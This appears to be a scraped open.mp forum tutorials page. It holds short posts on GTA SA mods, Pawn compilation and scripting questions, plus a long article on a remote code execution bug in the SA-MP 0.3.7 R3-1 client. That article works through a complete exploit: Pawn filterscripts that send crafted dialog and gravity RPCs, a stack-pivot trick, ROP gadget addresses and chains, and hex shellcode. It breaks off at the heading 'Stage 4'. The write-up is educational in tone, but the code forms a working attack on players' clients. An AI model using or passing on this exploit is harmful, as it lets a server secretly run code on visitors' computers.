open.mp forum - Tutorials

How to make your GTA SA:MP like GTA 5 !

Sun, 27 Apr 2025 11:22:09 +0000

I have found some modifications on GTAinside which can make your game like GTA 5, in some updated ways. You can still play online with those mods. Depends on servers tho.

GTA Inside : V HUD by DK22Pac - release 31.08.14
GTA Inside : INSANITY_AudioPack V2.1
GTA Inside : Better Bulletholes Mod
GTA Inside : RagDollPhysics
GTA Inside : Special Abilities v3.2.2
GTA Inside : Beta Removed Weapons
GTA Inside : Advanced aiming zoom fix
GTA Inside : HDUniverseGTAVehicles1

And lastly SA_DirectX_3_0_Beta

https://drive.google.com/file/d/1OMlVUDb...drive_link

Which can make your game look more better and more modern and almost like GTA 5.

https://www.youtube.com/watch?v=33B-9IzoHag

Here is the website, just search the mods and download for free:

https://www.gtainside.com/

All of those mods will make your game almost like GTA 5, not fully but similar. If you download them, they will be like 600mb together, GTA DirectX 3.0 is good usually cost but I link it for free, on google drive.

How to compile pawn script on termux anderoid

Mon, 03 Mar 2025 04:04:55 +0000

Go to Github and open this repository:
https://github.com/Nathan-Studios/Pawn4Droid

On the release section of all downloads, and move the pawncc and pawndisasm to $ prefix/bin and move libpawnc.so to $ prefix/lib

Or if you want to be easier to use the Installwr Script from the GITHUB repository

Link Video
https://youtu.be/itBffLyZHWA?si=ci7GwlkWJzaGf3Nb

How to save gangzones?

Tue, 03 Dec 2024 18:56:25 +0000

I have an Gangwar gamemode and captured gangzones don't save when the server shuts down, they still have default owners. If anyone can help me with gangzone saving, please do!

How to Compile Your Gamemode in Visual Studio Code

Sat, 05 Oct 2024 06:20:24 +0000

In this guide, I’ll show you how to compile your gamemode using Visual Studio Code. We’ll start by installing the necessary compiler and setting up everything step-by-step.

To begin, we need to install the Pawn Development Tool extension for VSCode. You can either install it through VSCode directly or via this marketplace link: https://marketplace.visualstudio.com/ite...evelopment

If you want to contribute or dive deeper into the project, here’s the source code link: https://github.com/openmultiplayer/vscode-pawn

1. Open Visual Studio Code

2. Go to the Extensions Section

Click on the extensions icon located on the left-hand toolbar.

3. Search for "Pawn Development Tool

Type Pawn Development Tool in the search bar.

4. Select the First Option

The first option that appears will be the correct extension.

5. Install the Extension

Click on the install button.

Now that we’ve installed the extension, let’s move on to setting up the compiler.

1. Navigate to Your Gamemode Directory

Open your gamemode folder in VSCode.

2. Initialize the Pawn Task/Compiler

To set up the compiler, press

Quote:Ctrl + Shift + P

Quote:F1

or go to View > Command Palette. Then, search for Pawn Development: Initialize Pawn Build Task.

3. Select the Build Task Option

Click on the result.

After initializing the task, you might encounter an error when trying to compile, like this:

This happens because the compiler doesn’t know the location of `pawncc.exe`. So, we need to set it manually by editing the `tasks.json` file.

1. Open `tasks.json`

Find the `tasks.json` file in your `.vscode` folder.

2. Specify the Compiler Path

In the `command` field of `tasks.json`, you need to set the path to your compiler. If you’re using SA-MP Server, you might be using **pawno**, and for open.mp servers, you’ll likely be using qawno. Here’s how to configure each:

Pawno users: Set the path to `${workspaceRoot}/pawno/pawncc`
Qawno users: Set the path to `${workspaceRoot}/qawno/pawncc`

Example setup:

Now, you can compile your gamemode. If everything is set correctly, the compiler should successfully compile your script.

Update:

(Thanks to edgy and Southclaws they helped me figure this out and learn how to set it up!)

You might notice that errors and warnings aren’t being highlighted yet. This is because we haven't set them up properly. Let's fix that by going back to the `tasks.json` file.

Adjust the `problemMatcher` Configuration

First, locate the `"problemMatcher"` section in the `tasks.json` file. We need to modify the `"fileLocation"` property.

Change `"relative"` to `"autoDetect"` so it can automatically detect your gamemode file location.

Next, update `"${workspaceRoot}"` to `"${workspaceRoot}/gamemodes"` to ensure it's pointing to your gamemode directory.

After making these changes, errors and warnings should now be properly highlighted in your gamemode.

This guide was based on my own experience compiling gamemodes in VSCode. If you notice any mistakes or have suggestions for improvement, feel free to let me know!

Thanks for reading, and good luck with your gamemode development!

Setdynamicobjectrot

Sun, 17 Mar 2024 10:43:47 +0000

Can someone help me? I want to change the rz ry rz object using setdynamicobjectrot but in the game the object won't move, where is my mistake?

SA-MP RCE — all you wanted to know

Sun, 25 Feb 2024 00:55:13 +0000

This article in Russian / Эта статья на русском
Note: this article was translated using Google Translate because I'm too lazy to do it by myself. So if you notice some mistakes please let me know and I'll correct them.

Hello everyone. Surely many have heard about some vulnerabilities in SA-MP, about the strange abbreviation RCE, about client versions R4, R4-2, R5, which contain some kind of fixes for these vulnerabilities and which practically no one uses. Well, it's time to reveal all the information in detail.
To fully understand this article and everything that is happening, you will need some knowledge of C++, assembler and reverse engineering. However, if you do not have such knowledge, I will still try to present the information in the most accessible way, in the spirit of a kind of detective story, where nothing is clear, but it is very interesting. Who knows, maybe this article will inspire you to study this area and change your life forever... Well, okay, I got distracted. Let's get started.

Introduction.

So what is this vulnerability and what does RCE mean? In general, RCE, i.e. Remote Code Execution, is a vulnerability that allows you to remotely execute your code in an application. In other words, speaking as an exploiter, you can run arbitrary code (program) using the vulnerable program. Speaking as a potential victim, you could have arbitrary code running without your knowledge and without your knowledge. Roughly speaking, a hacker can force a vulnerable program to download another program and run it. Actually, in our case, this very "vulnerable program" is SA-MP.
Where do such vulnerabilities come from? As a result of mistakes made during program development, SA-MP is no exception in this regard. Often such errors occur due to the possibility of overrunning array boundaries, which allows arbitrary data to be written to other areas of memory.
The search and development of such a vulnerability into the RCE can be divided into the following stages:
1. Search for a potential vulnerability in the program.
2. Analysis of potential opportunities and ways to use.
3. Development of the primary shellcode, which will "open the gates" for us to fully execute arbitrary code.
4. Development of a scenario for using the found RCE.
Well, let's get started.

Stage 1. Search.

To find a vulnerability, it is necessary to purposefully reverse the application in those places where incoming external data is processed, looking for potential overflows and other errors. Sometimes fuzzing can also help, but we won't consider it here. I will be using client version 0.3.7 R3-1, as well as IDA Pro + Hex-Rays as a disassembler and decompiler. I will also take a ready-made database for IDA for client version R3-1 by LUCHARE.
Because I already know where the vulnerability is, I'll just demonstrate a potetntial sequence of actions on how it could be found. So, let's look at the RPC ShowDialog handler at 1000F7B0:

Everything is ok here, let's now take a look at CDialog::Open, there is a large switch-case structure depending on the style of the dialog. Let's look at the code branch for type 2, i.e. for DIALOG_STYLE_LIST. There the function sub_1006F4A0 is immediately called (I will rename it to CDialog::PrepareListbox for convenience), let's look at it:

Here is the szText buffer for splitting lines in the dialog. A local buffer of 264 elements is used, all necessary checks are present. But now let's look at CDialog::GetTextScreenLength:

This function uses a local buffer to place a line into it, cut the color codes {xxxxxx} and calculate the width of the text for dialog box creation. And oops, here is a local array with 132 cells, and an array with 264 elements is passed here. Let's take a look at how it is located on the stack:

This function does not save any registers on the stack, including the esp value of the calling function, and the array itself is located "at the bottom" of the stack, so it is immediately followed by the return address. This means that if we pass one single line without hyphens of length 132 to the dialog, we will fill this local array completely, and if we add another 4 bytes, we will completely rewrite the return address. Let's create a test filterscript using the Pawn.RakNet plugin:

Code:
#define FILTERSCRIPT

#include 

#include 

new const RPC_ShowDialog = 61;

new payload1[] =

{

//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15

/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x11, 0x22, 0x33, 0x44

};

new BitStream:payload_bs;

public OnFilterScriptInit()

{

payload_bs = BS_New();

    BS_WriteUint16(payload_bs, 1); // dialog id

BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style

BS_WriteString8(payload_bs, "this is caption"); // caption

BS_WriteString8(payload_bs, "left button"); // left button

BS_WriteString8(payload_bs, "right button"); // right button

BS_WriteCompressedString(payload_bs, payload1); // text

}

public OnFilterScriptExit()

{

BS_Delete(payload_bs);

}

public OnPlayerCommandText(playerid, cmdtext[])

{

if(!strcmp("/aasd1", cmdtext, true))

{

        PR_SendRPC(payload_bs, playerid, RPC_ShowDialog);

return 1;

}

return 0;

}

Here a string of 132 spaces is created, and then comes the address 0x44332211. Let's load fs, join the server and enter the command:

Voila, we get a crash at this address! Thus, at this stage we can go to an arbitrary address.

Stage 2. Analysis.

So, we can jump to any absolute address, which means that our next goal is to write our code somewhere into executable (this is important) memory and jump to this address. And here we face a number of serious problems.
Problem one. You need to write your code not just anywhere, but in executable memory, i.e. to a region in which there are both writing and execution allowed.
Problem two. The string with the contents of the dialog is transmitted as text, while in the RPC structure of the dialog it is compressed by algorithms in the RakNet library, and the null character (0x00) is a sign of the end of the string. This means that we cannot pass a string containing zeros, and we really need them.
Problem three. In the CDialog::PrepareListbox function, string is limited to 256 characters, and we overflow after the 132nd, which means we can go 124 bytes out of bounds. Potentially, this may either be insufficient, or sufficient, but will complicate the task, because we need to manipulate the stack and write our own code, and not just bytes, but kilobytes and even megabytes.
Faced with such problems, it may seem that in this case the vulnerability cannot be implemented at all, but these problems require a comprehensive approach, you need to know some of the features and nuances.
In fact, there could be much more problems, in modern software there are all sorts of stack canary, ASLR, PIE and other horrors, but we are dealing with the ancient GTA San Andreas and SA-MP, where there are no such things or they are disabled intentionally. In addition, SA-MP itself is a mod that dirty hacks the game's memory, which sometimes only makes our work easier.
In particular, SA-MP patches the game's memory by installing its own hooks. By default, executable memory is write-protected, so SA-MP is forced to give executable memory pages write permission in order to write its hooks. The protection is set to the entire page, because you cannot set protection only to some specific bytes. In this case, SA-MP forgets to return the original protection to the page, i.e. set write-protection again, so there remain regions in which writing and executing are allowed at the same time. You can view the memory map, for example, in Cheat Engine:

I liked the region with the address 0x00866000, size 4kb (this is the size of one page), this will be enough. At that address there are string for saving game statistics to an html file. This feature is never used, so you can safely overwrite them there. But for now, let's remember and put this address aside and return to it later.
I would also like to note one feature of SA-MP: it has a feature for changing gravity, i.e. you can set this value from the server. How is this implemented? It's very simple - the client simply writes the received value to a static address in the game itself. There is just one small, but very important detail: for some reason, the execute-protection is removed after setting the gravity. Because gravity is float, i.e. 4 bytes, we can write 4 bytes of executable code to an known address. It would seem that these are only 4 bytes, but we will also return to them a little later and, believe me, they will play a decisive role.
And now about more pressing problems. So, at this step we can go beyond the boundaries of the buffer on the stack, overwrite the return address, thereby we can jump to any known static address and nothing more. We cannot yet write down our code, much less call it. But we can call code that already exists in the game! Or rather, only the fragments we need. This technique is called ROP, i.e. Return-Oriented Programming. For example, we have the following instructions at address 0x00555550: pop ecx; ret; and at address 0x00444440 there is pop edi; ret; Taking advantage of our buffer overflow, we write the following onto the stack:
0x00555550, 0x00000011, 0x00444440, 0x00000022
This is what will happen:
1) When the ret instruction is executed in our CDialog::GetTextScreenLength, an execution will go to address 0x00555550, the esp register will point to the value 0x00000011
2) At address 0x00555550 the pop ecx instruction will be executed, i.e. the value will be taken from the stack and assigned to the ecx register. What do we have there at the top of the stack? That's right, 0x00000011, which means this value will be written to the ecx register, and the esp register will be shifted lower to the value 0x00444440
3) Next the ret instruction will be executed. There will be a jump to address 0x00444440, the esp register will point to 0x00000022
4) At address 0x00444440 the pop edi instruction will be executed, the edi register will be assigned the value 0x00000022
etc.
Thus, with the help of such chains, called rop chains, we can manipulate registers, as well as call other commands we need, in particular, copying data from one memory area to another. The called code fragments themselves are named gadgets, and the main difficulty here is to find suitable gadgets among the entire game code. Tools such as radare2, ROPgadget and others have been created specifically for searching for gadgets, but we will not consider them in this article.
But we have another problem that does not allow us to write zeros to the string, and for rop chains we need them. To solve this (and not only) problem, a technique called stack pivoting is used, which consists in changing the value of esp. Alternatively, we can place our rop chains in a more suitable place, and then replace the esp with this most "suitable place". Question: how to replace esp? Answer: still the same, using a gadget. In total, finding a suitable place for rop chains and finding a suitable gadget for stack pivoting can be the most difficult task, perhaps even without a solution, and, as a consequence, without the ability to implement a vulnerability, but we have a unique case here.
In addition to the dialog text itself, the caption string and the left and right button strings are also sent in RPC. If you inspect the code of the RPC_ShowDialog handler, you will notice that a specified number of bytes are read from the bitstream into a local buffer. The length is limited to 256 characters, and there is no restrctions by the presence of null characters. Great, you can use one of these three buffers, I'll take caption. Now the question is - how to get to it on the stack? The ebp register will help us with this. From the entire chain of calls RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength saving esp in ebp occurs in CDialog::PrepareListbox, i.e. ebp stores the value of esp from CDialog::Open at the time CDialog::PrepareListbox is called. IDA can give us a little hint about where the caption pointer is relative to esp in CDialog::Open:

But don't relax. During its exectuion, CDialog::Open saves the values of one of the registers (+1) on the stack, pushes 2 arguments to CDialog::PrepareListbox (+2), calls it (+1), and CDialog::PrepareListbox itself saves the ebp register onto the stack (+1). Thus, saved esp is also shifted up by 5 positions, which means that we need to add 5 times 4 to 0x28, i.e. 0x14. We get 0x3C.
You can calculate it another way by turning on in IDA the display of the stack pointer in the listing:

Add to it a shift at call (+0x4), push ebp in the called function (another +0x4), and add a shift to the caption itself:

0x28+0x4+0x4+0xC=0x3C.
But in general, I would not recommend counting this way, because it is easy to make mistakes and miss something here. It is much better to calculate the offset empirically: take a debugger, set a breakpoint, send a dialog with some text to the caption, when the breakpoint is triggered, scroll through the stack window and find there the pointer to the caption using the previously specified text, calculate the difference between it and the ebp value.
So, to set esp to the caption buffer, we need:

Code:
mov esp, dword ptr [ebp+0x3c]

And then execute ret to go to the address of the gadget, which will already be set at the beginning of the caption. But we won't be able to find such a 1-in-1 gadget, because compilers do not generate such code, and finding an alternative sequences of several gadgets can be quite problematic. But why find it when we can record such a gadget ourselves? It's time for our gravity!
To convert assembly code into machine codes, I will use this website. We get the following code:

Code:
0:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]

3:  c3                      ret

This means that we can set the gravity value to 0xC33C658B, then call the overflow dialog to the address of the gravity variable, and the top of the stack will move to the caption! But don't rush. Looking into memory at the address of the gravity variable, namely 0x00863984, you can see that the next value is 0xC3, and our last instruction is also 0xC3. At the same time, if you represent 0xC33C658B as a float, you get the value -188.396652222, which can have a rather negative effect on the game, because the default value is non-negative and equal to 0.008, anomalies may appear and the game may freeze altogether, so we can juggle a little with the instructions so that the value turns out to be close to 0.008. The best combination would be:

Code:
0:  90                      nop

1:  8b 65 3c                mov    esp,DWORD PTR [ebp+0x3c]

So we'll get 0x3C658B90, which in float representation will be 0.0140103250742, and it is not even very different from the original. But in any case, we will restore the original value in the end.
Well, let's update our filterscript, namely:
1. Write the address of gravity in the overflowing text buffer, where we have a gadget with stack pivoting.
2. Instead of text, write an arbitrary address in the caption (in the future we will have rop chains there).
3. Let's write a function to set gravity for the player using Pawn.RakNet. We will also implement sending gravity and dialog RPCs in a separate ordering channel with the RELIABLE_ORDERED reliability, so that the RPCs will be received strictly in the order they were sent, and set a low priority (this will be useful in the future).

Code:
#define FILTERSCRIPT

#include 

#include 

new const RPC_ShowDialog = 61;

new const RPC_ScrSetGravity = 146;

new payload1[] =

{

//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15

/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00

};

new payload2[] =

{

    0x66, 0x77, 0x88, 0x99

};

new BitStream:payload_bs;

public OnFilterScriptInit()

{

payload_bs = BS_New();

    BS_WriteUint16(payload_bs, 1); // dialog id

BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style

BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length

for(new i = 0; i < sizeof(payload2); i++) // caption

{

BS_WriteUint8(payload_bs, payload2[i]);

}

BS_WriteString8(payload_bs, "left button"); // left button

BS_WriteString8(payload_bs, "right button"); // right button

BS_WriteCompressedString(payload_bs, payload1); // text

}

public OnFilterScriptExit()

{

BS_Delete(payload_bs);

}

public OnPlayerCommandText(playerid, cmdtext[])

{

if(!strcmp("/aasd1", cmdtext, true))

{

PerformRCE(playerid);

return 1;

}

return 0;

}

PerformRCE(playerid)

{

    SetPlayerGravity(playerid, Float:0x3C658B90);

    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);

    SetPlayerGravity(playerid, 0.008);

}

SetPlayerGravity(playerid, Float:gravity)

{

new BitStream:bs = BS_New();

BS_WriteFloat(bs, gravity);

PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);

BS_Delete(bs);

}

We compile, load, join the server, enter the command, we get a crash at address 0x99887766, as we specified.

Great! The hardest part is over, now we can move on to the stage of making rop chains and the primary shell.

Stage 3. Development

Now we are faced with 2 tasks. First, we need to find a sequence of gadgets that will copy the shellcode from the stack into the executable memory. The second is to actually code this shellcode, we will place it next to the gadgets in the caption. We need to remember that we are limited to 256 bytes, and the shellcode should help us execute larger code than a couple hundred bytes.
Rep movsb/movsw/movsd instructions are used to copy memory locations. The address where to copy is placed in the edi register, where to copy from - in the esi register, and the number of iterations - in the ecx register. This means we need to find about 4 gadgets. Let's start by finding a gadget to copy. Having looked through all such instructions in the game code, I found one that turned out to be very interesting:

Here we have very conveniently setup of the esi register, and the address from the stack is loaded there. Just what we need, and one less gadget to setup esi.
Let's start writing our rop chain. Let's set the return address to the lea instruction:

Code:
0x005B2EE6

After performing a copy in the gadget, the values in edi and esi are taken from the stack. We don't need them, so we'll just fill zeros to make the stack correct:

Code:
0x005B2EE6 // rep movsd gadget

0x00000000 // edi value

0x00000000 // esi value

Then, we need to specify the address for the next jump. Because at this point our shellcode will be copied, we will jump theme. At the last stage, we determined that we would copy our shellcode to address 0x00866000. We will specify it:

Code:
0x005B2EE6 // rep movsd gadget

0x00000000 // edi value

0x00000000 // esi value

0x00866000 // ret to dst

Now we need to calculate where to place the shellcode. Because the instruction look like this:

Code:
lea esi, [esp+0x10]

then this means:

Code:
(esp-0x04) 0x005B2EE6 // rep movsd gadget

(esp+0x00) 0x00000000 // edi value

(esp+0x04) 0x00000000 // esi value

(esp+0x08) 0x00866000 // ret to dst

(esp+0x0C) ...

(esp+0x10) ...

This means that after the last return address we need to skip one position. Let's put zeros there too. As a result, our rop chain at now will look like this:

Code:
0x005B2EE6 // rep movsd gadget

0x00000000 // edi value

0x00000000 // esi value

0x00866000 // ret to dst

0x00000000 // pad

(shellcode here)

Now we need to find a gadget to set the value in edi. Everything is simple here, we need to find the sequence of pop edi; ret commands. In binary form it will be 0x5F, 0xC3, so we'll just find this sequence of bytes in the game code. It was found at address 0x00402E8D. This means our rop chain will now look like this:

Code:
0x00402E8D // pop edi gadget

0x00866000 // edi value

0x005B2EE6 // rep movsd gadget

0x00000000 // edi value

0x00000000 // esi value

0x00866000 // ret to dst

0x00000000 // pad

(shellcode here)

And finally, the last thing: we need to find a gadget to set the value in ecx. Similarly, we look for pop ecx; ret and find it at 0x00402715. But we need to calculate exactly how many bytes to copy. Let's get a look:

Code:
0x00402715 // pop ecx gadget

0x000000?? // ecx value

0x00402E8D // pop edi gadget

0x00866000 // edi value

0x005B2EE6 // rep movsd gadget

0x00000000 // edi value

0x00000000 // esi value

0x00866000 // ret to dst

0x00000000 // pad

(shellcode here)

The maximum caption array can be 256 in length. Of these, 9 positions on the stack go to our rop chains, which is 36 bytes. Those our shellcode will start from the 37th byte and can go up to the 256th byte at most. Let's copy everything to the end, even if the final shellcode is smaller. This means we need to copy 256 minus 36 bytes, that is 220. It is important to say that movsd copies 4 bytes per iteration, which means we will have 55 iterations, that is 0x37:

Code:
0x00402715 // pop ecx gadget

0x00000037 // ecx value

0x00402E8D // pop edi gadget

0x00866000 // edi value

0x005B2EE6 // rep movsd gadget

0x00000000 // edi value

0x00000000 // esi value

0x00866000 // ret to dst

0x00000000 // pad

(shellcode here)

Let's summarize what we have at this step. So, first we send the client a specific gravity value, which contains the code for stack pivoting. Then we overflow using the dialog, which is why when returning from the CDialog::GetTextScreenLength function, execution does not go back to CDialog::PrepareListbox, from where it was called, but to our stack pivoting code. There, the pointer to the stack is replaced, namely, it is installed on the caption buffer from RPC_ShowDialog, in which, using return manipulations, we copy our shellcode into executable memory and execute it.
Our first task with rop chains is solved, let's move on to the second - writing this shellcode. And here we have two, so to speak, subtasks waiting for us. Firstly, after all these manipulations we have a "broken" stack, we must return it to the correct state and carry out the correct further execution of the program, as if nothing had happened. And secondly, download more large code and execute it.
Let me remind you that we had the following chain of calls: RPC_ShowDialog -> CDialog::Open -> CDialog::PrepareListbox -> CDialog::GetTextScreenLength. Instead of returning to CDialog::PrepareListbox, we proceeded to execute our shellcode. It would be logical to go back directly to CDialog::PrepareListbox, but, firstly, this is not necessary (since there is nothing important there that would require returning there), and secondly, for ease of implementation we will "mimic" under CDialog::PrepareListbox and at the end return exection to CDialog::Open.
First, we need to set the stack pointer to where it should have been when returning from CDialog::GetTextScreenLength. The ebp register will help us with this again, only now we need to calculate the offset in the other direction. Let's look at the IDA Pro hints again:

At the moment after calling CDialog::GetTextScreenLength, the stack of CDialog::PrepareListbox is shifted to 0x12C, but since we will restore relative to ebp, and CDialog::PrepareListbox at the very beginning stores the previous value of ebp on the stack, thereby shifting the stack by 4 bytes, then we must subtract these 4 bytes from 0x12C and get 0x128. This means that the first instruction to restore the stack pointer in our shellcode will look like:

Code:
lea esp, [ebp-0x128]

Next, we need to return back to CDialog::Open, so we'll simply copy the epilogue of the CDialog::PrepareListbox function into our shellcode:

Code:
pop    edi

pop    esi

mov    eax, 1

pop    ebx

mov    esp, ebp

pop    ebp

retn    8

At this step, I propose to check the functionality of the shellcode, and for clarity, add a command to set the value of money for the player:

Code:
mov dword ptr [0x00B7CE50], 1137

Our shellcode will look like:

Code:
lea esp, [ebp-0x128]

mov dword ptr [0x00B7CE50], 1137

pop edi

pop esi

mov eax, 1

pop ebx

mov esp, ebp

pop ebp

ret 8

and in binary representation: 0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F, 0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00 , 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00
Let's update our filterscript:

Code:
#define FILTERSCRIPT

#include 

#include 

new const RPC_ShowDialog = 61;

new const RPC_ScrSetGravity = 146;

new payload1[] =

{

//          +0    +1    +2    +3    +4    +5    +6    +7    +8    +9  +10  +11  +12  +13  +14  +15

/* 000 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 016 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 032 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 048 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 064 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 080 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 096 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 112 */ 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,

/* 128 */ 0x20, 0x20, 0x20, 0x20, 0x84, 0x39, 0x86, 0x00

};

new payload2[] =

{

0x15, 0x27, 0x40, 0x00, // pop ecx gadget

0x37, 0x00, 0x00, 0x00, // ecx value

0x8D, 0x2E, 0x40, 0x00, // pop edi gadget

0x00, 0x60, 0x86, 0x00, // edi value

0xE6, 0x2E, 0x5B, 0x00, // rep movsd gadget

0x00, 0x00, 0x00, 0x00, // edi value

0x00, 0x00, 0x00, 0x00, // esi value

0x00, 0x60, 0x86, 0x00, // ret to dst

0x00, 0x00, 0x00, 0x00, // pad

0x8D, 0xA5, 0xD8, 0xFE, 0xFF, 0xFF, 0xC7, 0x05, 0x50, 0xCE, 0xB7, 0x00, 0x71, 0x04, 0x00, 0x00, 0x5F,

0x5E, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x5B, 0x89, 0xEC, 0x5D, 0xC2, 0x08, 0x00

};

new BitStream:payload_bs;

public OnFilterScriptInit()

{

payload_bs = BS_New();

    BS_WriteUint16(payload_bs, 1); // dialog id

BS_WriteUint8(payload_bs, DIALOG_STYLE_LIST); // style

BS_WriteUint8(payload_bs, sizeof(payload2)); // caption length

for(new i = 0; i < sizeof(payload2); i++) // caption

{

BS_WriteUint8(payload_bs, payload2[i]);

}

BS_WriteString8(payload_bs, "left button"); // left button

BS_WriteString8(payload_bs, "right button"); // right button

BS_WriteCompressedString(payload_bs, payload1); // text

}

public OnFilterScriptExit()

{

BS_Delete(payload_bs);

}

public OnPlayerCommandText(playerid, cmdtext[])

{

if(!strcmp("/aasd1", cmdtext, true))

{

PerformRCE(playerid);

return 1;

}

return 0;

}

PerformRCE(playerid)

{

    SetPlayerGravity(playerid, Float:0x3C658B90);

    PR_SendRPC(payload_bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);

    SetPlayerGravity(playerid, 0.008);

}

SetPlayerGravity(playerid, Float:gravity)

{

new BitStream:bs = BS_New();

BS_WriteFloat(bs, gravity);

PR_SendRPC(bs, playerid, RPC_ScrSetGravity, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);

BS_Delete(bs);

}

Join into the game, enter the command, and get the result:

Everything is working! But an empty dialog remains open. Since SA-MP allows you to close any opened dialog by sending a dialog with a negative id. Let's use this. Here we will also not use the native function, but will write our own to send RPCs in a separate ordering channel:

Code:
HidePlayerDialog(playerid)

{

new BitStream:bs = BS_New();

    BS_WriteUint16(bs, -1); // id

BS_WriteUint8(bs, DIALOG_STYLE_MSGBOX); // style

BS_WriteString8(bs, " "); // caption

BS_WriteString8(bs, ""); // left button

BS_WriteString8(bs, ""); // right button

BS_WriteCompressedString(bs, " "); // text

PR_SendRPC(bs, playerid, RPC_ShowDialog, PR_LOW_PRIORITY, PR_RELIABLE_ORDERED, 4);

BS_Delete(bs);

}

Stage 4.

